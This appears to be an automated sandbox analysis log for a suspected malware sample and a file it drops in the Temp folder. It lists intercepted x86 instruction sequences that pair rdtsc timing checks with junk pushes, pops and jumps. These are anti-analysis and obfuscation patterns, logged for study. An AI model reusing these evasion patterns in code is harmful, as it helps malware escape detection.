Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090AC4 second address: 5090AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F850D0E60DFh 0x00000009 adc ch, FFFFFFBEh 0x0000000c jmp 00007F850D0E60E9h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090AF6 second address: 5090B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F850CC4A389h 0x0000000c jmp 00007F850CC4A38Ch 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F850CC4A38Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090B23 second address: 5090B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090B29 second address: 5090B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090B2D second address: 5090B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F850D0E60E8h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007F850D0E60DBh 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F850D0E60E4h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090C22 second address: 5090C8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F857E7CE0DAh 0x0000000f jmp 00007F850CC4A396h 0x00000014 cmp dword ptr [ebp+08h], 00002000h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F850CC4A38Dh 0x00000024 adc ax, 74A6h 0x00000029 jmp 00007F850CC4A391h 0x0000002e popfd 0x0000002f call 00007F850CC4A390h 0x00000034 pop eax 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0AF1 second address: 50A0B2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F850D0E60E7h 0x00000009 adc cx, 04EEh 0x0000000e jmp 00007F850D0E60E9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0B2D second address: 50A0B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F850CC4A393h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0B4A second address: 50A0B5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov dx, 9BD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0B5D second address: 50A0B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0B61 second address: 50A0B7C instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F850D0E60E2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0B7C second address: 50A0B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov si, 732Fh 0x0000000e mov esi, 2A8A134Bh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0B90 second address: 50A0BF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F850D0E60E7h 0x00000008 pop eax 0x00000009 mov cx, di 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 push ebx 0x00000013 pushfd 0x00000014 jmp 00007F850D0E60DCh 0x00000019 xor eax, 783BCEB8h 0x0000001f jmp 00007F850D0E60DBh 0x00000024 popfd 0x00000025 pop esi 0x00000026 mov cx, di 0x00000029 popad 0x0000002a push ebx 0x0000002b jmp 00007F850D0E60E0h 0x00000030 mov dword ptr [esp], esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0BF3 second address: 50A0C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0C10 second address: 50A0CF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, B4h 0x00000005 call 00007F850D0E60E8h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 pushad 0x00000012 mov edx, 1A4A7BA2h 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a test esi, esi 0x0000001c jmp 00007F850D0E60E5h 0x00000021 je 00007F857EC63839h 0x00000027 jmp 00007F850D0E60DEh 0x0000002c cmp dword ptr [76C8459Ch], 05h 0x00000033 jmp 00007F850D0E60E0h 0x00000038 je 00007F857EC7B8EEh 0x0000003e jmp 00007F850D0E60E0h 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 pushad 0x00000046 jmp 00007F850D0E60DCh 0x0000004b call 00007F850D0E60E2h 0x00000050 pop esi 0x00000051 popad 0x00000052 pushfd 0x00000053 jmp 00007F850D0E60DBh 0x00000058 sub cx, F0BEh 0x0000005d jmp 00007F850D0E60E9h 0x00000062 popfd 0x00000063 popad 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F850D0E60DCh 0x0000006c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0D24 second address: 50A0D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edx, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0D2C second address: 50A0D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F850D0E60E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0D40 second address: 50A0D5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F850CC4A393h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0DA7 second address: 50A0DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: B3E56B second address: B3E590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jmp 00007F850CC4A399h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: B3E590 second address: B3E59A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F850D0E60DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB3241 second address: CB324B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CA2BF4 second address: CA2C1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F850D0E60DDh 0x00000011 pop esi 0x00000012 pushad 0x00000013 jbe 00007F850D0E60D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB22F1 second address: CB22F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB244A second address: CB2454 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F850D0E60D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB25A6 second address: CB25CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 jmp 00007F850CC4A397h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F850CC4A388h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB275F second address: CB2763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB28AB second address: CB28AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB5860 second address: CB58B2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F850D0E60D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F850D0E60E5h 0x00000010 jmp 00007F850D0E60DFh 0x00000015 popad 0x00000016 xor dword ptr [esp], 3206196Dh 0x0000001d jng 00007F850D0E60DBh 0x00000023 lea ebx, dword ptr [ebp+1244B6D9h] 0x00000029 movzx esi, si 0x0000002c xchg eax, ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push ecx 0x00000031 pop ecx 0x00000032 jmp 00007F850D0E60E0h 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB58B2 second address: CB58B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB592A second address: CB5935 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F850D0E60D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB5935 second address: CB59A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007F850CC4A38Ch 0x0000000f jc 00007F850CC4A38Ch 0x00000015 jl 00007F850CC4A386h 0x0000001b popad 0x0000001c nop 0x0000001d jmp 00007F850CC4A397h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F850CC4A388h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000017h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D29D8h], ecx 0x00000044 push F415B4C1h 0x00000049 push eax 0x0000004a push edx 0x0000004b push edx 0x0000004c jmp 00007F850CC4A38Ah 0x00000051 pop edx 0x00000052 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB59A9 second address: CB5A41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jl 00007F850D0E60D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 0BEA4BBFh 0x00000015 mov esi, 2263DCC0h 0x0000001a push 00000003h 0x0000001c jp 00007F850D0E60E4h 0x00000022 jmp 00007F850D0E60DEh 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D29C5h], edi 0x0000002f push 00000003h 0x00000031 mov dword ptr [ebp+122D2499h], edi 0x00000037 call 00007F850D0E60D9h 0x0000003c pushad 0x0000003d pushad 0x0000003e jmp 00007F850D0E60E1h 0x00000043 push edx 0x00000044 pop edx 0x00000045 popad 0x00000046 jmp 00007F850D0E60E9h 0x0000004b popad 0x0000004c push eax 0x0000004d jmp 00007F850D0E60E1h 0x00000052 mov eax, dword ptr [esp+04h] 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 jp 00007F850D0E60D6h 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB5A41 second address: CB5A5A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jne 00007F850CC4A38Ch 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB5A5A second address: CB5A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F850D0E60D6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CB5A70 second address: CB5A76 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD75FA second address: CD7609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jng 00007F850D0E60D8h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD7609 second address: CD760F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD760F second address: CD7613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD7613 second address: CD7633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F850CC4A396h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD595A second address: CD595E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD5ABC second address: CD5AD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Ah 0x00000007 jnp 00007F850CC4A386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD5AD6 second address: CD5ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD5ADA second address: CD5ADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD6196 second address: CD619A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD619A second address: CD619E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD634A second address: CD6354 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F850D0E60DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD644E second address: CD6452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD6452 second address: CD6458 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD6458 second address: CD6477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F850CC4A399h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD6477 second address: CD647C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD647C second address: CD6496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F850CC4A38Eh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD6496 second address: CD649A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD649A second address: CD64A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD64A0 second address: CD64B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jp 00007F850D0E60D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD64B1 second address: CD64B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD64B9 second address: CD64C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD65F5 second address: CD6608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F850CC4A386h 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jno 00007F850CC4A386h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CD6608 second address: CD665F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E1h 0x00000007 pushad 0x00000008 jmp 00007F850D0E60E1h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F850D0E60DBh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ecx 0x00000018 je 00007F850D0E60EDh 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CDACEB second address: CDACEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CDACEF second address: CDACF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CDACF3 second address: CDACFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CDACFD second address: CDAD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CDADA4 second address: CDADAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F850CC4A386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1A5C second address: CE1A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jc 00007F850D0E60D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1A6B second address: CE1A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1A75 second address: CE1A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850D0E60DAh 0x00000009 pop edx 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jnl 00007F850D0E60D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1A8F second address: CE1A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1029 second address: CE102F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE102F second address: CE103A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F850CC4A386h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE11BB second address: CE11D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE132E second address: CE1336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1336 second address: CE134F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F850D0E60DDh 0x0000000b pop ebx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE134F second address: CE1358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1358 second address: CE1362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F850D0E60D6h 0x0000000a rdtsc
